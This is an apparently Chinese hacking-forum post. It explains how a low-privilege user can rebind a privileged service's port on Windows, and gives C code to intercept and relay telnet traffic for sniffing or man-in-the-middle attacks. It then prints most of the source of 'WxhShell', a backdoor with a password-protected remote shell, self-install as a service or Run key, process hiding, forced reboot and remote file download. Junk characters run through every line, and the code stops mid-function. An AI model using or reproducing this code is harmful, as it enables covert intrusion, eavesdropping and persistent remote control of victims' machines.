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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]}HuK#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6ujePi <U  
4pC.mRu 0  
  saddr.sin_family = AF_INET; ;.|).y1/`  
J)"g`)\2+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BZ"+ ND9m_  
XfYhLE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fLR\@f  
1k?k{Ri  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LS{t7P9K  
2}8xY:|@(U  
  这意味着什么?意味着可以进行如下的攻击: 3lT>C'qq  
UCL aCt -  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I'>r  
Y!nxHRE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N_eZz#);  
zcE[wM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t8\XO j  
7-`iI(N<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /4lm=ZE/  
z-;2)RkV2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )ND%MYJSq  
P8=!/L2?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ExJexjOWI^  
> nOU 8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p`}'-A|@  
c037#&Q%#  
  #include _pe_w{V-b6  
  #include - }2AXP2q  
  #include E[E7GsmqV  
  #include    >YuiCf?c7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bL"!z"NA  
  int main() 6|AD]/t^K  
  { R1lC_G]  
  WORD wVersionRequested; U f <hzP  
  DWORD ret; Q{"QpVY8  
  WSADATA wsaData; 4g}'/  
  BOOL val; 2!E@Gbhm5  
  SOCKADDR_IN saddr; :$gR >.`  
  SOCKADDR_IN scaddr; [K4wd%+  
  int err; yo@S.7[/  
  SOCKET s; '&n4W7  
  SOCKET sc; rj> _L  
  int caddsize; NsY D~n  
  HANDLE mt; /Xo8 kC  
  DWORD tid;   ~L7@,d:  
  wVersionRequested = MAKEWORD( 2, 2 ); %}0B7_6B+@  
  err = WSAStartup( wVersionRequested, &wsaData ); /n&Y6@W  
  if ( err != 0 ) { >Qg 9KGk'  
  printf("error!WSAStartup failed!\n"); xQK;3b  
  return -1; hEv}g  
  } PGaYYc3X  
  saddr.sin_family = AF_INET; @ky<5r*JU(  
   +M/1,&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k;W`6:Kjp  
Sp>v`{F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kvo V?<!  
  saddr.sin_port = htons(23); W`2Xn?g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1YxG<K]  
  { do>,ELS+m  
  printf("error!socket failed!\n"); Yl#|+xYA5[  
  return -1; 1{pU:/_W  
  } CW9vC  
  val = TRUE; W$bQS!7y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @;K-@*k3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5B76D12  
  { j68_3zpl  
  printf("error!setsockopt failed!\n"); ;"N4Yflz  
  return -1; ?5e]^H}  
  } TC$)::C1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A;\1`_i0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W-UMX',0zS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~R!M.gY[rK  
SWpvbs.'so  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q }'ww  
  { ~?#B(t  
  ret=GetLastError(); xq<3*Bcw  
  printf("error!bind failed!\n"); Un[ 0or  
  return -1; F\G-. 1  
  } qVDf98  
  listen(s,2); Ub_!~tb}?  
  while(1) {BS}9jZx  
  { `\vqDWh8-  
  caddsize = sizeof(scaddr); 8uZM%7kI6+  
  //接受连接请求 8M,AFZ>F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZJ Ke}F`l  
  if(sc!=INVALID_SOCKET) pd Fa]  
  { lNwqWOWy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _hz}I>G@B  
  if(mt==NULL) , A@uSfC(  
  { ]QbT%0  
  printf("Thread Creat Failed!\n"); c1x{$  
  break; K\3N_ztu  
  } 6#SUfK;  
  } >nqCUhS   
  CloseHandle(mt); [)wLji7MK  
  } 9>I&Z8J$M  
  closesocket(s); }#Gq*^w  
  WSACleanup(); :{Mr~Co*  
  return 0; }\$CU N  
  }   4J9VdEKk  
  DWORD WINAPI ClientThread(LPVOID lpParam) vi1 D<  
  { G3wkqd  
  SOCKET ss = (SOCKET)lpParam; }8e_  
  SOCKET sc; j'QPJ(`~1l  
  unsigned char buf[4096]; HZJ)q`1E  
  SOCKADDR_IN saddr; N R0"yJV>  
  long num; Ua2waA  
  DWORD val; BGOajYD  
  DWORD ret; _yN&+]c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;.'\8!j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {IgL H`@  
  saddr.sin_family = AF_INET; =lOdg3#\a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FBP'AL|  
  saddr.sin_port = htons(23); dWK"Tkf\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !-cK@>.pE  
  { 5ca!JLs  
  printf("error!socket failed!\n"); =euMOs  
  return -1; JV`"kk/  
  } GnFm*L  
  val = 100; x=VLTH/oo  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "pInb5F  
  { h; "pAE  
  ret = GetLastError(); qe<xH#6  
  return -1; kIwq%c;  
  } E gD$A!6N8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WZ6'"Cz`  
  { 6F8TiR&  
  ret = GetLastError(); /Y#Q<=X  
  return -1; S\dG>F>S  
  } T jrz_o)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IDK~ (t  
  { ZTg[}+0e  
  printf("error!socket connect failed!\n"); F6Ne?[b  
  closesocket(sc); =_=0l+\}  
  closesocket(ss); \`oP\|Z  
  return -1; Is[n7Q  
  } ?[#4WH-G  
  while(1) 0 H0U%x8  
  { HrS-o=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UpSa7F:Uw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~o X`Gih  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZuNUha&a  
  num = recv(ss,buf,4096,0); nJ2910"<  
  if(num>0) 6c[Slq!KA  
  send(sc,buf,num,0); E@J}(76VS  
  else if(num==0) O[j$n  
  break; dthtWnB@  
  num = recv(sc,buf,4096,0); .$U=ng j\t  
  if(num>0) Ie7S'.Lmq  
  send(ss,buf,num,0); l[Ko>  
  else if(num==0) #B6$ r/%  
  break; qE*hUzA  
  } fi  
  closesocket(ss); = J0r,dR  
  closesocket(sc); ?Ll1B3f  
  return 0 ; U]PsL3:  
  } k[a5D/b  
08_<G`r  
_+ERX[i  
========================================================== 2v{42]XYf  
_ 5/3RN  
下边附上一个代码,,WXhSHELL ,E &W{b  
Q;k D Jo  
========================================================== },%, v2}  
z0 J:"M  
#include "stdafx.h" l9+)h }  
S9E<)L  
#include <stdio.h> BmFtRbR  
#include <string.h> Exz(t'  
#include <windows.h> q22@ZRw  
#include <winsock2.h> rI'kZ0&  
#include <winsvc.h> G7k.YtW  
#include <urlmon.h> \=j|ju3  
Mi<}q@]e  
#pragma comment (lib, "Ws2_32.lib") ow7*HN*  
#pragma comment (lib, "urlmon.lib") I3A xK A  
A"wso[{  
#define MAX_USER   100 // 最大客户端连接数 yHnN7&  
#define BUF_SOCK   200 // sock buffer F$HL \y  
#define KEY_BUFF   255 // 输入 buffer 0IxHB|^$  
q9B5>Ye)  
#define REBOOT     0   // 重启 b8h6fB:2  
#define SHUTDOWN   1   // 关机 (AT)w/  
vpP8'f.  
#define DEF_PORT   5000 // 监听端口 B&sa|'0U  
Q5c13g2(c  
#define REG_LEN     16   // 注册表键长度 fO}Y$y\q  
#define SVC_LEN     80   // NT服务名长度 uWkuw5;  
7 aN}l QM  
// 从dll定义API q]DE\*@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *lyRy/POB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :9W)CwZ)V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jTN!\RH9NF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N#8$pE  
n:[LsbTk  
// wxhshell配置信息 / jN &VpDG  
struct WSCFG { J\Z\q  
  int ws_port;         // 监听端口 E@8&#<  
  char ws_passstr[REG_LEN]; // 口令 *?!A  
  int ws_autoins;       // 安装标记, 1=yes 0=no p;rT#R&6>  
  char ws_regname[REG_LEN]; // 注册表键名 H1e^/JD)  
  char ws_svcname[REG_LEN]; // 服务名 f/pr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @\Yu?_a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,S7M4ajVZB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bX`VIFc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2rqYm6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ePY69!pO5e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |c:xK{Ik  
o%l|16DR  
}; D1~3 3;  
.!Os'Y9[,  
// default Wxhshell configuration cB4p.iO   
struct WSCFG wscfg={DEF_PORT, vL Qh r&I  
    "xuhuanlingzhe", 0[!38  
    1, F2Co Xe7  
    "Wxhshell", \"Aw ATQ  
    "Wxhshell", xmwH~UWp  
            "WxhShell Service", q6zKyOE  
    "Wrsky Windows CmdShell Service", ZJ}|t  
    "Please Input Your Password: ", ek]CTUl*  
  1, T0lbMp  
  "http://www.wrsky.com/wxhshell.exe", N}7tjk   
  "Wxhshell.exe" "%)^:('Ki  
    }; 8\rHSsP  
QW6\~l 4  
// 消息定义模块 vY(xH>Fd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y?V>%eBu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yWZ%|K~$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^?gs<-)B  
char *msg_ws_ext="\n\rExit."; r^!P=BS{  
char *msg_ws_end="\n\rQuit."; q /^&si  
char *msg_ws_boot="\n\rReboot..."; I~NQt^sg  
char *msg_ws_poff="\n\rShutdown..."; @(s"5i.`)  
char *msg_ws_down="\n\rSave to "; P:2 0i*QU  
S`&YY89{&  
char *msg_ws_err="\n\rErr!"; 5:~BGK&{Y  
char *msg_ws_ok="\n\rOK!"; roE*8:Y  
ompkDl\E  
char ExeFile[MAX_PATH]; \&5t@sC  
int nUser = 0; [9xUMX^}  
HANDLE handles[MAX_USER]; \!,qXfTMB  
int OsIsNt; e X q}0-*f  
VH5Vg We  
SERVICE_STATUS       serviceStatus; *8j2iu-|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i*Ee(m]I  
nh+f,HtSt  
// 函数声明 9Sk?tl  
int Install(void); PV/S zfvIq  
int Uninstall(void); $.-\2;U  
int DownloadFile(char *sURL, SOCKET wsh); oN " /w~  
int Boot(int flag); H| 1O>p&  
void HideProc(void); ,MdK "Qa>  
int GetOsVer(void); K(B|o6[  
int Wxhshell(SOCKET wsl); 4O** %!|  
void TalkWithClient(void *cs); h`,!p  
int CmdShell(SOCKET sock); |HMpVT-;j  
int StartFromService(void); RE}$(T=  
int StartWxhshell(LPSTR lpCmdLine); cG~-OHU  
J,j!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "R v],O"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "8h7"WR  
2q ,> *B?  
// 数据结构和表定义 $E]W U?U  
SERVICE_TABLE_ENTRY DispatchTable[] = V+2C!)f(  
{ C"!k`i=Lj  
{wscfg.ws_svcname, NTServiceMain}, XB'PEvh8  
{NULL, NULL} c;pv< lX'  
}; QL_9a,R'r  
)Y}8)/Pud  
// 自我安装 &p#$}tm  
int Install(void) smN |r  
{ MUfhk)"  
  char svExeFile[MAX_PATH]; hIv8A_>@`  
  HKEY key; +>wBGVvS  
  strcpy(svExeFile,ExeFile); wA;Cj  
P85@G 2  
// 如果是win9x系统,修改注册表设为自启动 1y($h<  
if(!OsIsNt) { PhOtSml0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q:/<^|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `c~J&@|  
  RegCloseKey(key); _M;M-hk/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HRxA0y=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Cw+<A*  
  RegCloseKey(key); I>(\B|\6  
  return 0; v8!Ts"  
    } eAD uk!Iq  
  } ~'<ca<Go|  
} &?xZ Hr`  
else { 3.?kxac  
nVt,= ?_ U  
// 如果是NT以上系统,安装为系统服务 nD51,1>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $ 'obj  
if (schSCManager!=0) n6Qsug$z  
{ mjtmN0^SR  
  SC_HANDLE schService = CreateService QFtf.")[.  
  ( @ =M:RA  
  schSCManager, [|!A3o  
  wscfg.ws_svcname, chF@',9t  
  wscfg.ws_svcdisp, p\ }Ep  
  SERVICE_ALL_ACCESS, at-+%e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2)zAX"#/  
  SERVICE_AUTO_START, `oq][|  
  SERVICE_ERROR_NORMAL, n$oHr  
  svExeFile, kZ>Xl- LV  
  NULL, ]F4 .m  
  NULL, m=hUHA,p4  
  NULL, 7} 2Aq  
  NULL, ~d072qUos  
  NULL *lT:P-  
  ); 6*\WH%  
  if (schService!=0) yxx'g+D*  
  { R@8pKCL.  
  CloseServiceHandle(schService); T7bD t  
  CloseServiceHandle(schSCManager); 9_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0<";9qN)6  
  strcat(svExeFile,wscfg.ws_svcname); Z=&cBv4Fs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F?B`rw@xr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i=^!? i  
  RegCloseKey(key); `, lry7]  
  return 0; ~0 Ifg_G  
    } 4fyds< f  
  } PV\aQO.mo  
  CloseServiceHandle(schSCManager); Y%1 94fY$  
} Ey#7L M)  
} [PW\l+i  
._i|+[  
return 1;  e#t7  
} y k{8O.g  
`UK'IN.il  
// 自我卸载 <lo\7p$A  
int Uninstall(void) W Y]   
{ _ / >JM0  
  HKEY key; S 4hv7.A  
2]}4)_&d<e  
if(!OsIsNt) { [Ep%9(SgA'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L]kd.JJvy  
  RegDeleteValue(key,wscfg.ws_regname); \QvoL  
  RegCloseKey(key); l3O!{&~K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =+z+`ot  
  RegDeleteValue(key,wscfg.ws_regname); HPz3"3n!  
  RegCloseKey(key); ' %&gER  
  return 0; F!_8?=|  
  } (E{}iq@2  
} V*< `!w  
} !jTtMx  
else {  .V   
Rl/5eE8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J_S8=`f%  
if (schSCManager!=0) x=M%QFe  
{ 2Pm[ kD4E=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m0Geq.  
  if (schService!=0) QB.QG!@  
  { JJZu%9~[  
  if(DeleteService(schService)!=0) { >_J9D?3S  
  CloseServiceHandle(schService); e1OGGF%E n  
  CloseServiceHandle(schSCManager); |W#(+m  
  return 0; ]T:a&DHC  
  } I?&/J4o:  
  CloseServiceHandle(schService); &pzf*|}  
  } .<Rw16O  
  CloseServiceHandle(schSCManager); B{ Ab #  
} K'_qi8Z  
} L~+/LV  
bt{b%r  
return 1; y<g1q"F  
} teKx^ 'c'  
M '#a.z%  
// 从指定url下载文件 q S qS@+p  
int DownloadFile(char *sURL, SOCKET wsh) g2;lEW  
{ 4OaU1Y[  
  HRESULT hr; bQ3txuha  
char seps[]= "/"; DYDeb i6  
char *token; HSk_'g(\0  
char *file; ;l %$-/%  
char myURL[MAX_PATH]; X`6"^ xme  
char myFILE[MAX_PATH]; 5MCnGg@  
0MI4"<  
strcpy(myURL,sURL); 2{Y~jYt{h  
  token=strtok(myURL,seps); ;=p3L<~c`K  
  while(token!=NULL) = ;cTm5d;T  
  { {sfA$ d0  
    file=token; @PT([1C  
  token=strtok(NULL,seps); ~ \]?5 nj  
  } -3K01p  
\i'Z(1  
GetCurrentDirectory(MAX_PATH,myFILE); @V&c=8) 8  
strcat(myFILE, "\\"); V,h}l"  
strcat(myFILE, file); I`f5)iF?0  
  send(wsh,myFILE,strlen(myFILE),0); xG(xG%J  
send(wsh,"...",3,0); mCyn:+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3_ly"\I\  
  if(hr==S_OK) ?g9:xgkF ^  
return 0; ^)y8X.iO  
else Kl,NL]]4*5  
return 1; iInWw"VbKe  
[ {$%9lm  
} f{.4# C'  
g<N;31:c\  
// 系统电源模块 e\em;GTy  
int Boot(int flag) K9{RU4<  
{ B[k=6EU8k  
  HANDLE hToken; Fw S>V2R  
  TOKEN_PRIVILEGES tkp; M!46^q~-  
<2E|URo,#  
  if(OsIsNt) { iF9d?9TWl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `a%MD>R_Lg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 84WX I#BH  
    tkp.PrivilegeCount = 1; u"uL,w 1-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [l3ys  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nwp(% fBo  
if(flag==REBOOT) { o_1N "o%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "[eH|z/  
  return 0; [#9i@40  
} MkL)  
else { egvb#:zW?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sbl=U  
  return 0; sH.=Faos  
} z %Bzf~N9  
  } &s(J:P$!  
  else { vK%*5  
if(flag==REBOOT) { Wqkzj^;"G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pI:,Lt1B  
  return 0; p- a{6<h  
} i y8Jl  
else { /)T~(o|i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RC/45:hZZ  
  return 0; ?!K6")SE  
} 'Oj 1@0*0  
} 2E?!Q I\O  
LFI#wGhXVk  
return 1; 5f{P% x(  
} |{&M#qXe  
+SR{ FF  
// win9x进程隐藏模块 `sCn4-$8  
void HideProc(void) u4_QLf@I  
{ n m<?oI*\  
=gs-#\%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \"1>NJn&k)  
  if ( hKernel != NULL ) {nbT$3=Zt  
  { W&=OtN U!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w`;HwK$ ,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 37$ ^ie)  
    FreeLibrary(hKernel); 'S1u@p,q  
  } .07`nIs"  
0|RofL&o  
return; O5:bdt.  
} h7 E~I J  
=KUmvV*\  
// 获取操作系统版本 +4.s4&f)  
int GetOsVer(void) HT6 [Z1  
{ 8f/KNh7#s  
  OSVERSIONINFO winfo; qx'0(q2Ii(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {$,\Qg  
  GetVersionEx(&winfo); Bz<hP*.O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y@`uBB[  
  return 1; X3\PVsH$K  
  else ly-(F2  
  return 0; ~PI2G 9  
} HJ]xZ83pC  
+bS\iw+  
// 客户端句柄模块 u MEM7$o  
int Wxhshell(SOCKET wsl) b!P,+!<  
{ g5|~ i{"0  
  SOCKET wsh; '< U&8?S  
  struct sockaddr_in client; Cjx4vP  
  DWORD myID; l[Z o,4*  
uhh7Ft#H  
  while(nUser<MAX_USER) g#=<;X2  
{ 8i154#l+\  
  int nSize=sizeof(client); :Ln)j%&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $ ]s^M=8  
  if(wsh==INVALID_SOCKET) return 1; Zp> v  
^o{{kju  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E ?Mgbd3  
if(handles[nUser]==0) ->rqr#  
  closesocket(wsh); ==OUd6e}  
else o{G*7V@H  
  nUser++;  px<psR5  
  } p L"{Uqi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oI;ho6y)  
nwU],{(Hgr  
  return 0; !?nO0Ao-$  
} vN'+5*Cgy6  
az F!V  
// 关闭 socket taE p   
void CloseIt(SOCKET wsh)  u]Ku96!  
{ %):_  
closesocket(wsh); ?> }p'{I  
nUser--; Y(g_h:lf,]  
ExitThread(0); TQ]gvi |m  
} XM`GK>*aC(  
`eM ZhY o  
// 客户端请求句柄 v>]g="5}8  
void TalkWithClient(void *cs) &VGV0K3 Dp  
{ MY,~leP&  
rGP;0KtQ  
  SOCKET wsh=(SOCKET)cs; 5vyg-'  
  char pwd[SVC_LEN]; /_0B5 ,6R  
  char cmd[KEY_BUFF]; ?6CLUu|7n  
char chr[1]; J8emz8J  
int i,j; NPK;  
M0w Uis:`  
  while (nUser < MAX_USER) { 9\4x<*  
0]4X/u#N  
if(wscfg.ws_passstr) { J\y^T3Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Chl>s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kk8wlC  
  //ZeroMemory(pwd,KEY_BUFF); YB"gLv?  
      i=0; {Dpsr` &  
  while(i<SVC_LEN) { : :>|[ND  
|dgiW"tUm  
  // 设置超时 O2Qmz=%  
  fd_set FdRead; gw)4P tb!  
  struct timeval TimeOut; f)*?Ji|5F  
  FD_ZERO(&FdRead); G'\[dwD,u  
  FD_SET(wsh,&FdRead); I _KHQ&Z*  
  TimeOut.tv_sec=8; FOQ-KP\ =,  
  TimeOut.tv_usec=0; 0`x>p6.)G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <  o?ua}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M{J>yN  
6TW<,SM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Q /LC0?  
  pwd=chr[0]; t`8Jz~G`  
  if(chr[0]==0xd || chr[0]==0xa) { 6\.g,>   
  pwd=0; 28"1ONs 3  
  break; peVY2\1>R  
  } ;0dH@b  
  i++; $mPR)T  
    } M2Nh3ijr  
4;6"I2;zfG  
  // 如果是非法用户,关闭 socket @} r*KF-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zDdo RK@  
} )Z:-qH  
RnkV)ed(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zIF1A*UH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bo=H-d|  
^aB;Oo  
while(1) { CH4Nz'X2  
}ppApJT  
  ZeroMemory(cmd,KEY_BUFF); B&_:20^y~  
TB>_#+:  
      // 自动支持客户端 telnet标准   w5i*pOG)Z  
  j=0; !f/K:CK|  
  while(j<KEY_BUFF) { -9om,U`t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8XH;<z<oJ  
  cmd[j]=chr[0]; E:9RskI  
  if(chr[0]==0xa || chr[0]==0xd) { Z?eTjkNS#  
  cmd[j]=0; 1'hpg>U  
  break; f/sz/KC]~  
  } `:iMGq ZN  
  j++; ^VYR}1Mw  
    } $*{,Z<|2  
%bP+P(vZ  
  // 下载文件 JY c:@\   
  if(strstr(cmd,"http://")) { < dE7+w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @wXYza0|d  
  if(DownloadFile(cmd,wsh)) vE[d& b[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tV=Qt[|@  
  else Kh3i.gm7g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E/H9#  
  } \*MZ 1Q*x  
  else { aUMiRm-   
f4S}Nga(  
    switch(cmd[0]) { Sqp91[,  
  <IZr..|O  
  // 帮助 OFo hyy(  
  case '?': { '{,JuX"n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A5R"|<UPR  
    break; glch06  
  } k x:+mF  
  // 安装 A@3'I  ;  
  case 'i': { 2_Lu 0Yrg  
    if(Install()) /[Nkk)8-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e[fld,s  
    else d*u3]&?x&f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @u+LF]MY  
    break; &DQ_qOKD  
    } i{}m 8K)  
  // 卸载 eF;Jj>\R+i  
  case 'r': { |$tF{\  
    if(Uninstall()) F4=X(P_6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p!E*A NwX  
    else T7qp ({v?Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R UCUEo63  
    break; +sx(q@  
    } ZW))Mx#K=T  
  // 显示 wxhshell 所在路径 ;- i)}<  
  case 'p': { ~I")-2"B  
    char svExeFile[MAX_PATH]; GB+$ed5@<  
    strcpy(svExeFile,"\n\r"); xz`0V}dPl  
      strcat(svExeFile,ExeFile); Vb\^xdL>  
        send(wsh,svExeFile,strlen(svExeFile),0); FpB3SJ6 B  
    break; XFFm 'W6@  
    } fhk(<KZvJ  
  // 重启 `_DA!  
  case 'b': { 1&h\\&ic  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "'+/ax[{  
    if(Boot(REBOOT)) MNh:NFCRA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?z.  Z_A&  
    else { \`8$bpW[nS  
    closesocket(wsh); 7yG%E  
    ExitThread(0); VVF9X(^rQ  
    } %M_F/O  
    break; /?>W\bP<  
    } [g==#[  
  // 关机 =m|<~t  
  case 'd': { G=e'H-  
